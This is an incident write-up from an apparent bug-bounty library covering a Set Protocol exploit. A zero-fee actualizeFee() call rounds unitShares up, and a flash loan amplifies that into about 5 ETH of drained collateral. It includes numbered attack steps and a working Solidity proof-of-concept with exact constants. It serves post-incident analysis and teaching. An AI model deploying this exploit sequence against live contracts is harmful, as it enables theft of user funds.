# Set Protocol: zero-fee actualizeFee unitShares rounding drains collateral

Permissionless actualizeFee() re-ceils unitShares upward even with zero fee, letting an attacker issue then redeem a RebalancingSetTokenV3 for a per-share rounding surplus, amplified by a Uniswap v4 flash loan.

- Payout: Real-world hack
- Severity: high
- Program: SetProtocol
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-06
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/SetProtocol_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261006-setprotocol
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:flash-loan vuln:precision-loss

**Target:** RebalancingSetTokenV3 / Core issuance-redemption on Ethereum
**Root cause:** actualizeFee() unconditionally overwrites unitShares with a divCeil recomputation even when no fee is minted, bumping the floor-rounded stored value up by one per naturalUnit.
**Steps:**
1. Flash-borrow ~25,044 ETH via Uniswap v4 PoolManager.unlock -> take(native ETH), wrap to WETH
2. Approve TransferProxy for WETH and base set
3. `Core.issue(baseSet, 186.597e18)` pulling WETH, then `Core.issue(rSet, 37872.408793e18)` at unitShares=4927
4. Call `rSet.actualizeFee()` with zero fee -> unitShares 4927 -> 4928
5. `Core.redeem(rSet, 37872.408793e18)` releases base set at 4928 per naturalUnit (more than paid)
6. Withdraw and redeem base set back to WETH, withdraw WETH from Vault
7. Repay flash via WETH.withdraw + PoolManager.settle{value: 25044.673458 ETH}; keep ~5.083148 ETH surplus
**How found:** Code review of RebalancingSetTokenV3: noticed issuance uses floor division for unitShares while actualizeFee unconditionally re-derives with divCeil, so a zero-fee call still moves the stored value up by one.
**Exploitation:** Attacker borrowed ~25,044 ETH fee-free through Uniswap v4 flash accounting, issued the base set and rebalancing set at the floor unitShares, triggered the permissionless zero-fee actualizeFee to bump unitShares by one, redeemed the same quantity at the inflated unitShares, unwound to WETH, repaid the flash loan and kept the ~5.083 ETH rounding surplus.
**Escalation:** Profit scales with issue/redeem size, so a large fee-free Uniswap v4 flash-accounting loan amplifies a 1-unit rounding edge into ~5 ETH.
**Insight:** When a contract stores a derived ratio via floor division on one path but recomputes it via divCeil on another (e.g. a fee-actualization path), a permissionless zero-effect call can shift the stored ratio in your favor; check every write to a shared ratio variable for rounding-direction mismatches.

## Proof of concept (copied exactly from the original report)

**Attacker contract issue/actualizeFee/redeem sequence**

```
function unlockCallback(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(POOL_MANAGER), "only pm");

        // 1. Flash-borrow native ETH via v4 flash accounting (transient debt, settled at the end).
        POOL_MANAGER.take(address(0), address(this), FLASH_WETH);
        WETH.deposit{value: FLASH_WETH}();

        // 2. Approvals for the TransferProxy to pull components into the Vault.
        WETH.approve(transferProxy, MAX);
        baseSet.approve(transferProxy, MAX);

        // 3. Issue the base SetToken (pulls FLASH_WETH), then the rebalancing set at unitShares=4927.
        core.issue(address(baseSet), BASE_SET_QTY);
        unitSharesBefore = rSet.unitShares();
        core.issue(address(rSet), RSET_QTY);

        // 4. The bug: zero-fee actualizeFee re-ceils unitShares upward (4927 -> 4928).
        rSet.actualizeFee();
        unitSharesAfter = rSet.unitShares();

        // 5. Redeem the rebalancing set at the inflated unitShares -> more base set than was paid in.
        core.redeem(address(rSet), RSET_QTY);
        core.withdraw(address(baseSet), vault.getOwnerBalance(address(baseSet), address(this)));

        // 6. Unwind the base set back to WETH and pull it out of the Vault.
        core.redeem(address(baseSet), baseSet.balanceOf(address(this)));
        core.withdraw(address(WETH), vault.getOwnerBalance(address(WETH), address(this)));

        // 7. Repay the flash: unwrap exactly the borrowed amount and settle the native debt.
        WETH.withdraw(FLASH_WETH);
        POOL_MANAGER.settle{value: FLASH_WETH}();

        // Remaining WETH is the surplus from the +1 unitShare; unwrap it to ETH as profit.
        WETH.withdraw(WETH.balanceOf(address(this)));
        return "";
    }
```

**Flash loan and issue/redeem constants**

```
uint256 internal constant FLASH_WETH = 25_044_673_458_086_302_711_808; // ~25044.67 ETH
    uint256 internal constant BASE_SET_QTY = 186_597_358_123_111_000_000; // base SetToken issued
    uint256 internal constant RSET_QTY = 37_872_408_793_000_000_000_000;
```

